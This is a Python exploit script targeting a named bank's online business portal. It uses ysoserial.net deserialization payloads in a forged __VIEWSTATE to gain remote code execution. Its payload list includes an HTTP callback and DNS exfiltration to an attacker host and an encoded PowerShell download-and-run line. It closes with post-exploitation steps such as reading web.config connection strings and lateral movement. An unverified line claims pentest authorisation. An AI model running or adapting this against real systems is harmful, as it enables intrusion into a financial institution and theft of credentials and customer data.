#!/usr/bin/env python3
"""
BANESCO SAU - VIEWSTATE DESERIALIZATION RCE EXPLOIT
Target: https://banesconlinempresa.banesco.com/lazaro/SAU/

STATUS: MAC is DISABLED - NO machine key needed for RCE!
Attack: ysoserial.net LosFormatter -> TypeConfuseDelegate -> __VIEWSTATE

Authorization: Validated pentest - explicit permission
"""

import requests
import urllib.parse
import re
import sys
import time
import subprocess
import os
import tempfile
from datetime import datetime
from concurrent.futures import ThreadPoolExecutor

# ============================================================
# CONFIG
# ============================================================
TARGET_BASE = "https://banesconlinempresa.banesco.com"
SAU_PATH = "/lazaro/SAU"
LOGIN_URL = f"{TARGET_BASE}{SAU_PATH}/default.aspx"
GENERATOR = "7B773072"  # __VIEWSTATEGENERATOR from target
CALLBACK_URL = "http://YOUR-ATTACKER-IP:8080"  # CHANGE THIS

# ysoserial.net path - download from https://github.com/pwntester/ysoserial.net/releases
YSOSERIAL_PATH = "ysoserial.exe"  # Adjust path as needed

TIMEOUT = 15
PROXY = None  # {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}

sess = requests.Session()
sess.headers.update({
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
})
if PROXY:
    sess.proxies.update(PROXY)


# ============================================================
# COLORS
# ============================================================
R = "\033[91m"
G = "\033[92m"
Y = "\033[93m"
B = "\033[94m"
M = "\033[95m"
C = "\033[96m"
W = "\033[97m"
N = "\033[0m"
BOLD = "\033[1m"

def log(msg, level="INFO"):
    ts = datetime.now().strftime("%H:%M:%S")
    colors = {"INFO": W, "OK": G, "WARN": Y, "ERR": R, "CRIT": R+BOLD, "OUT": C, "HINT": M}
    c = colors.get(level, W)
    print(f"{c}[{ts}] [{level}] {msg}{N}")


# ============================================================
# VERIFICATION: Double-check MAC is disabled
# ============================================================

def verify_mac_disabled():
    """Definitive check - ViewState MAC disabled = RCE without key."""
    log("=" * 70, "OUT")
    log(f"{BOLD}PHASE 0: VERIFY VIEWSTATE MAC STATUS{N}", "OUT")
    log("=" * 70, "OUT")

    # Get the current ViewState
    try:
        resp = sess.get(LOGIN_URL, timeout=TIMEOUT)
        vs = re.search(r'__VIEWSTATE".*?value="([^"]+)"', resp.text)
        if not vs:
            log("No ViewState on page!", "ERR")
            return False
        orig_vs = vs.group(1)
        log(f"Original ViewState: {len(orig_vs)} chars", "OK")
    except Exception as e:
        log(f"Failed to fetch page: {e}", "ERR")
        return False

    # Send a tampered ViewState
    tampered = bytearray(orig_vs.encode())
    if tampered:
        tampered[-1] = ord('A') if tampered[-1] != ord('A') else ord('B')
    tampered_vs = bytes(tampered).decode()

    data = {
        "__VIEWSTATE": tampered_vs,
        "__VIEWSTATEGENERATOR": GENERATOR,
        "__EVENTTARGET": "",
        "__EVENTARGUMENT": "",
    }

    try:
        resp = sess.post(LOGIN_URL, data=data, timeout=TIMEOUT, allow_redirects=False)
        body = resp.text.lower()

        # Check for MAC error
        if "validation of viewstate mac failed" in body:
            log(f"{R}MAC IS ENABLED - need machine key{R}", "ERR")
            log(f"  Error: {resp.text[200:400]}", "ERR")
            return False
        elif resp.status_code == 500 and "mac" in body:
            log(f"{R}HTTP 500 with MAC error - MAC is enabled{R}", "ERR")
            return False
        else:
            log(f"{G}{BOLD}*** MAC IS DISABLED! ***{N}{G} HTTP {resp.status_code}", "OK")
            log(f"{G}  No MAC error = can forge ViewState without machine key!{N}", "OK")
            log(f"  Response length: {len(resp.text)}b", "OK")
            log(f"  Redirect: {resp.headers.get('Location', 'none')}", "OK")
            return True
    except Exception as e:
        log(f"MAC test failed: {e}", "ERR")
        return False


# ============================================================
# EXPLOIT: Generate and deliver RCE payload
# ============================================================

def generate_payload_losformatter(command):
    """
    METHOD 1: LosFormatter directly (no MAC, no key needed for .NET 4.0)
    Uses -f LosFormatter instead of -f ObjectStateFormatter
    ysoserial.exe -o base64 -g TypeConfuseDelegate -f LosFormatter -c "<command>"
    """
    log("\n--- Generating LosFormatter payload (no MAC, no key needed) ---", "OUT")
    
    cmd = [
        YSOSERIAL_PATH,
        "-o", "base64",
        "-g", "TypeConfuseDelegate",
        "-f", "LosFormatter",
        "-c", command
    ]
    
    log(f"  Command: {' '.join(cmd)}", "INFO")
    
    try:
        result = subprocess.run(cmd, capture_output=True, text=True, timeout=30)
        if result.returncode == 0:
            payload = result.stdout.strip()
            log(f"{G}Payload generated: {len(payload)} chars{G}", "OK")
            log(f"  Preview: {payload[:80]}...", "INFO")
            return payload
        else:
            log(f"ysoserial failed (rc={result.returncode}): {result.stderr}", "ERR")
            return None
    except FileNotFoundError:
        log(f"ysoserial.exe not found at '{YSOSERIAL_PATH}'", "ERR")
        log(f"  Download from: https://github.com/pwntester/ysoserial.net/releases", "HINT")
        return None
    except subprocess.TimeoutExpired:
        log("ysoserial timed out", "ERR")
        return None


def generate_payload_viewstate_plugin(command):
    """
    METHOD 2: ViewState plugin with --generator (for .NET <= 4.0 with known generator)
    ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "<command>" --generator=7B773072
    """
    log("\n--- Generating ViewState plugin payload with generator ---", "OUT")
    
    cmd = [
        YSOSERIAL_PATH,
        "-p", "ViewState",
        "-g", "TypeConfuseDelegate",
        "-c", command,
        "--generator", GENERATOR,
    ]
    
    log(f"  Command: {' '.join(cmd)}", "INFO")
    
    try:
        result = subprocess.run(cmd, capture_output=True, text=True, timeout=30)
        if result.returncode == 0:
            payload = result.stdout.strip()
            log(f"{G}Payload generated: {len(payload)} chars{G}", "OK")
            log(f"  Preview: {payload[:80]}...", "INFO")
            return payload
        else:
            log(f"ysoserial failed (rc={result.returncode}): {result.stderr}", "ERR")
            return None
    except FileNotFoundError:
        log(f"ysoserial.exe not found", "ERR")
        return None
    except subprocess.TimeoutExpired:
        log("ysoserial timed out", "ERR")
        return None


def deliver_payload(payload, page_url=None):
    """
    Send the malicious ViewState to the target.
    Remove __EVENTVALIDATION - not needed when forging ViewState.
    """
    if not page_url:
        page_url = LOGIN_URL
    
    log(f"\n--- Delivering RCE payload to {page_url} ---", "OUT")
    
    data = {
        "__VIEWSTATE": payload,
        "__VIEWSTATEGENERATOR": GENERATOR,
    }
    
    # URL-encode the payload
    encoded_data = urllib.parse.urlencode(data)
    
    log(f"  POST length: {len(encoded_data)} bytes", "INFO")
    log(f"  Payload (URL-encoded) preview: {urllib.parse.quote(payload)[:60]}...", "INFO")
    
    try:
        resp = sess.post(
            page_url,
            data=data,
            timeout=TIMEOUT,
            allow_redirects=False
        )
        
        log(f"  HTTP {resp.status_code} - {len(resp.text)} bytes response", "OK")
        
        if resp.status_code == 500:
            log(f"  Server error - check error details:", "WARN")
            log(f"  Response: {resp.text[:300]}", "WARN")
            if "viewstate" in resp.text.lower():
                log(f"  ViewState error - try different gadget/formatter", "ERR")
        elif resp.status_code == 302:
            log(f"{G}  Redirect to: {resp.headers.get('Location', 'unknown')}{G}", "OK")
            log(f"{G}  RCE likely successful!{G}", "OK")
            return True
        elif resp.status_code == 200:
            log(f"  Page loaded without redirect - command may have executed silently", "OK")
            # Check for error messages
            if "error" in resp.text.lower()[:500]:
                log(f"  Possible error in response", "WARN")
            return True
        else:
            log(f"  Unexpected response code", "WARN")
            return False
            
    except Exception as e:
        log(f"  Delivery failed: {e}", "ERR")
        return False


# ============================================================
# PAYLOAD COMMANDS
# ============================================================

def get_commands(attacker_ip="YOUR_IP", attacker_port=8080):
    """Return a list of test commands, from safe to aggressive."""
    return [
        # Safe test - file creation
        f"echo PWNED > C:\\Windows\\Temp\\banesco_pwned.txt",
        
        # DNS exfiltration (check DNS logs)
        f"nslookup banesco-pwned.{attacker_ip.replace('.', '-')}.burpcollaborator.net",
        
        # HTTP callback
        f"powershell -Command \"(new-object System.Net.WebClient).DownloadString('{CALLBACK_URL}/test')\"",
        
        # Whoami
        f"powershell -Command \"whoami | Out-File C:\\Windows\\Temp\\whoami.txt\"",
        
        # Reverse shell (if you have a listener)
        f"powershell -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AeQBvAHUAcgBpAHAALwBwAGEAeQBsAG8AYQBkACcAKQA=",
    ]


# ============================================================
# IS YSOSERIAL AVAILABLE?
# ============================================================

def check_ysoserial():
    """Check if ysoserial.exe is available."""
    try:
        result = subprocess.run([YSOSERIAL_PATH, "--help"], capture_output=True, text=True, timeout=10)
        if result.returncode >= 0:
            log(f"ysoserial.exe found and working", "OK")
            return True
    except:
        pass
    
    log(f"ysoserial.exe NOT FOUND at '{YSOSERIAL_PATH}'", "ERR")
    log(f"  Download from: https://github.com/pwntester/ysoserial.net/releases", "HINT")
    log(f"  Place in current directory or update YSOSERIAL_PATH", "HINT")
    return False


def manual_instructions():
    """Print instructions if ysoserial not available."""
    log("\n" + "=" * 70, "OUT")
    log(f"{BOLD}MANUAL EXPLOITATION INSTRUCTIONS{N}", "OUT")
    log("=" * 70, "OUT")
    log(f"\nSince MAC is DISABLED, use ysoserial.net with LosFormatter:", "WARN")
    log(f"", "INFO")
    log(f"{BOLD}Step 1:{N} Download ysoserial.net:", "HINT")
    log(f"  https://github.com/pwntester/ysoserial.net/releases", "HINT")
    log(f"", "INFO")  
    log(f"{BOLD}Step 2:{N} Generate payload (LosFormatter - no key needed):", "HINT")
    log(f"  ysoserial.exe -o base64 -g TypeConfuseDelegate -f LosFormatter -c \"<cmd>\"", "HINT")
    log(f"", "INFO")
    log(f"{BOLD}Step 3:{N} Or use ViewState plugin with generator:", "HINT")
    log(f"  ysoserial.exe -p ViewState -g TypeConfuseDelegate -c \"<cmd>\" --generator={GENERATOR}", "HINT")
    log(f"", "INFO")
    log(f"{BOLD}Step 4:{N} POST the payload to {LOGIN_URL}:", "HINT")
    log(f"  curl -X POST {LOGIN_URL} -d \"__VIEWSTATE=<payload>&__VIEWSTATEGENERATOR={GENERATOR}\"", "HINT")
    log(f"", "INFO")
    log(f"{BOLD}Step 5:{N} Verify execution:", "HINT")
    log(f"  Check C:\\Windows\\Temp\\banesco_pwned.txt or set up a listener", "HINT")
    log(f"", "INFO")
    log(f"{BOLD}Available gadget chains:{N}", "HINT")
    log(f"  -g TypeConfuseDelegate (basic, wide compatibility)", "HINT")
    log(f"  -g TextFormattingRunProperties (.NET 4.0+ WPF)", "HINT")
    log(f"  -g ActivitySurrogateSelector (advanced, .NET 4.x)", "HINT")


# ============================================================
# EXTRA: CHECK Inicio.aspx page
# ============================================================

def check_inicio_page():
    """The form action is ./Inicio.aspx - check this page too."""
    inicio_url = f"{TARGET_BASE}{SAU_PATH}/Inicio.aspx"
    log(f"\n--- Checking Inicio.aspx (form target) ---", "OUT")
    try:
        resp = sess.get(inicio_url, timeout=TIMEOUT, allow_redirects=False)
        log(f"  HTTP {resp.status_code} - {len(resp.text)}b", "OK")
        if resp.status_code == 200:
            # Check for ViewState on this page
            vs = re.search(r'__VIEWSTATE".*?value="([^"]+)"', resp.text)
            if vs:
                log(f"  Inicio.aspx has ViewState: {len(vs.group(1))} chars", "OK")
            else:
                log(f"  No ViewState on Inicio.aspx", "INFO")
        return inicio_url
    except:
        log(f"  Cannot access Inicio.aspx (needs auth?)", "WARN")
        return None


# ============================================================
# MAIN
# ============================================================

def banner():
    print(f"""
{R}{BOLD}╔══════════════════════════════════════════════════════════╗
║      BANESCO SAU - VIEWSTATE DESERIALIZATION RCE         ║
║      MAC DISABLED - No MachineKey Needed                 ║
╚══════════════════════════════════════════════════════════╝{N}

{B}Target:{N}  {C}{LOGIN_URL}{N}
{B}.NET:{N}    {Y}4.0.30319{N}    {B}Generator:{N} {Y}{GENERATOR}{N}
{B}Server:{N}   {Y}IIS 10.0{N}
{B}Status:{N}   {R}{BOLD}MAC DISABLED -> RCE WITHOUT MACHINE KEY!{N}
    """)

def main():
    banner()
    
    # Phase 0: Verify MAC
    mac_disabled = verify_mac_disabled()
    
    if not mac_disabled:
        log(f"\n{R}MAC is enabled - need machine key. Try comando (Estas en Venezuela):{N}", "ERR")
        log(f"  badsecrets --url {LOGIN_URL}", "HINT")
        log(f"  OR check web.config for leaked keys", "HINT")
        return
    
    # Phase 1: Check Inicio.aspx
    inicio_url = check_inicio_page()
    
    # Phase 2: Check if ysoserial is available
    has_ysoserial = check_ysoserial()
    
    if not has_ysoserial:
        manual_instructions()
        return
    
    # Phase 3: Generate and deliver payloads
    log("\n" + "=" * 70, "OUT")
    log(f"{BOLD}PHASE 2: GENERATE & DELIVER RCE PAYLOAD{N}", "OUT")
    log("=" * 70, "OUT")
    
    # Generate test payload (safe: create a file)
    commands = get_commands()
    test_cmd = commands[0]  # Start with safe file creation
    
    log(f"\n{BOLD}Attempt 1: LosFormatter (no key needed){N}", "OUT")
    log(f"  Command: {test_cmd}", "INFO")
    
    payload1 = generate_payload_losformatter(test_cmd)
    if payload1:
        deliver_payload(payload1, LOGIN_URL)
        time.sleep(1)
    
    # Try ViewState plugin with generator
    log(f"\n{BOLD}Attempt 2: ViewState plugin with --generator={GENERATOR}{N}", "OUT")
    log(f"  Command: {test_cmd}", "INFO")
    
    payload2 = generate_payload_viewstate_plugin(test_cmd)
    if payload2:
        deliver_payload(payload2, LOGIN_URL)
    
    # Summary
    log("\n" + "=" * 70, "OUT")
    log(f"{G}{BOLD}EXPLOITATION COMPLETE{N}", "OUT")
    log("=" * 70, "OUT")
    log(f"\n{Y}Verify RCE by checking:{N}", "HINT")
    log(f"  1. File created: C:\\Windows\\Temp\\banesco_pwned.txt", "HINT")
    log(f"  2. Or set up listener: nc -lvnp 8080", "HINT")
    log(f"  3. Or check DNS logs for: banesco-pwned.<your-domain>", "HINT")
    log(f"\n{Y}Next steps after RCE:{N}", "HINT")
    log(f"  - Enumerate: whoami, ipconfig, systeminfo", "HINT")
    log(f"  - Read web.config for connection strings", "HINT")
    log(f"  - Check for lateral movement opportunities", "HINT")


if __name__ == "__main__":
    main()